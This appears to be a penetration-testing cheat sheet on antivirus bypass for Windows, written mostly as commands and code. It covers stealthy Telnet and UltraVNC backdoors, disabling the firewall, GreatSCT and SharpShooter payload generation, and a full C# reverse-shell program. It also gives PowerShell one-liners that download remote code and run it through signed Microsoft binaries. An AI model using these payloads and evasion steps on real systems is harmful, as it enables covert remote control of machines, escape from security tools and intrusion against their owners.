AV Bypass

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Telnet Server
Until Windows10, all Windows came with a Telnet server that you could install (as administrator) doing:
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pkgmgr /iu:"TelnetServer" /quiet
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Make it start when the system is started and run it now:
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sc config TlntSVR start= auto obj= localsystem
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Change telnet port (stealth) and disable firewall:
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tlntadmn config port=80
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netsh advfirewall set allprofiles state off
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UltraVNC
Download it from: http://www.uvnc.com/downloads/ultravnc.html (you want the bin downloads, not the setup)
ON THE HOST: Execute winvnc.exe and configure the server:
Enable the option Disable TrayIcon
Set a password in VNC Password
Set a password in View-Only Password
Then, move the binary winvnc.exe and newly created file UltraVNC.ini inside the victim
Reverse connection
The attacker should execute inside his host the binary vncviewer.exe -listen 5900 so it will be prepared to catch a reverse VNC connection. Then, inside the victim: Start the winvnc daemon winvnc.exe -run and run winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900
WARNING: To maintain stealth you must not do a few things
Don't start winvnc if it's already running or you'll trigger a popup. check if it's running with tasklist | findstr winvnc
Don't start winvnc without UltraVNC.ini in the same directory or it will cause the config window to open
Don't run winvnc -h for help or you'll trigger a popup​
GreatSCT
Download it from: https://github.com/GreatSCT/GreatSCT​
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git clone https://github.com/GreatSCT/GreatSCT.git
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cd GreatSCT/setup/
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./setup.sh
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cd ..
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./GreatSCT.py
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Inside GreatSCT:
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use 1
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list #Listing available payloads
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use 9 #rev_tcp.py
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set lhost 10.10.14.0
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sel lport 4444
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generate #payload is the default name
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#This will generate a meterpreter xml and a rcc file for msfconsole
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Now start the lister with msfconsole -r file.rc and execute the xml payload with:
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml
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Current defender will terminate the process very fast.
Compiling our own reverse shell
https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
First C# Revershell
Compile it with:
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c:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:exe /out:back2.exe C:\Users\Public\Documents\Back1.cs.txt
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Use it with:
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back.exe <ATTACKER_IP> <PORT>
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using System;
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using System.Text;
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using System.IO;
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using System.Diagnostics;
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using System.ComponentModel;
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using System.Linq;
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using System.Net;
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using System.Net.Sockets;
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​
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​
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namespace ConnectBack
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{
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	public class Program
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	{
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		static StreamWriter streamWriter;
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​
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		public static void Main(string[] args)
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		{
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			using(TcpClient client = new TcpClient(args[0], System.Convert.ToInt32(args[1])))
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			{
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				using(Stream stream = client.GetStream())
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				{
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					using(StreamReader rdr = new StreamReader(stream))
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					{
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						streamWriter = new StreamWriter(stream);
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						StringBuilder strInput = new StringBuilder();
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​
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						Process p = new Process();
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						p.StartInfo.FileName = "cmd.exe";
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						p.StartInfo.CreateNoWindow = true;
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						p.StartInfo.UseShellExecute = false;
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						p.StartInfo.RedirectStandardOutput = true;
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						p.StartInfo.RedirectStandardInput = true;
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						p.StartInfo.RedirectStandardError = true;
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						p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
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						p.Start();
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						p.BeginOutputReadLine();
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​
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						while(true)
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						{
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							strInput.Append(rdr.ReadLine());
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							//strInput.Append("\n");
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							p.StandardInput.WriteLine(strInput);
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							strInput.Remove(0, strInput.Length);
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						}
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					}
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				}
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			}
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		}
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​
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		private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
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        {
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            StringBuilder strOutput = new StringBuilder();
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​
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            if (!String.IsNullOrEmpty(outLine.Data))
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            {
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                try
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                {
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                    strOutput.Append(outLine.Data);
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                    streamWriter.WriteLine(strOutput);
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                    streamWriter.Flush();
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                }
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                catch (Exception err) { }
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            }
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        }
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​
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	}
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}
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​https://gist.githubusercontent.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc/raw/1b6c32ef6322122a98a1912a794b48788edf6bad/Simple_Rev_Shell.cs​
C# using compiler
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt.txt REV.shell.txt
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​REV.txt: https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066​
​REV.shell: https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639​
Automatic download and execution:
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64bit:
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powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell
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​
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32bit:
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powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell
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C# obfuscators list: https://github.com/NotPrab/.NET-Obfuscator​
C++
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sudo apt-get install mingw-w64
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​
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i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc
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​https://github.com/paranoidninja/ScriptDotSh-MalwareDevelopment/blob/master/prometheus.cpp​
Merlin, Empire, Puppy, SalsaTools https://astr0baby.wordpress.com/2013/10/17/customizing-custom-meterpreter-loader/
​https://www.blackhat.com/docs/us-16/materials/us-16-Mittal-AMSI-How-Windows-10-Plans-To-Stop-Script-Based-Attacks-And-How-Well-It-Does-It.pdf​
https://github.com/l0ss/Grouper2
Practical use of JavaScript and COM Scriptlets for Penetration Testing
Bypassing Detection for a Reverse Meterpreter Shell - Checkmate
Checkmate
Other tools
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# Veil Framework:
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https://github.com/Veil-Framework/Veil
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​
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# Shellter
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https://www.shellterproject.com/download/
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​
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# Sharpshooter
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# https://github.com/mdsecactivebreach/SharpShooter
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# Javascript Payload Stageless: 
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SharpShooter.py --stageless --dotnetver 4 --payload js --output foo --rawscfile ./raw.txt --sandbox 1=contoso,2,3
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​
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# Stageless HTA Payload: 
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SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./raw.txt --sandbox 4 --smuggle --template mcafee
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​
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# Staged VBS:
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SharpShooter.py --payload vbs --delivery both --output foo --web http://www.foo.bar/shellcode.payload --dns bar.foo --shellcode --scfile ./csharpsc.txt --sandbox 1=contoso --smuggle --template mcafee --dotnetver 4
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​
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# Donut: 
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https://github.com/TheWover/donut
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​
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# Vulcan
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https://github.com/praetorian-code/vulcan
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More
GitHub - EgeBalci/sgn: Shikata ga nai (仕方がない) encoder ported into go with several improvements
GitHub
https://github.com/persianhydra/Xeexe-TopAntivirusEvasion
github.com
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Compiling our own reverse shell

C# using compiler

C++

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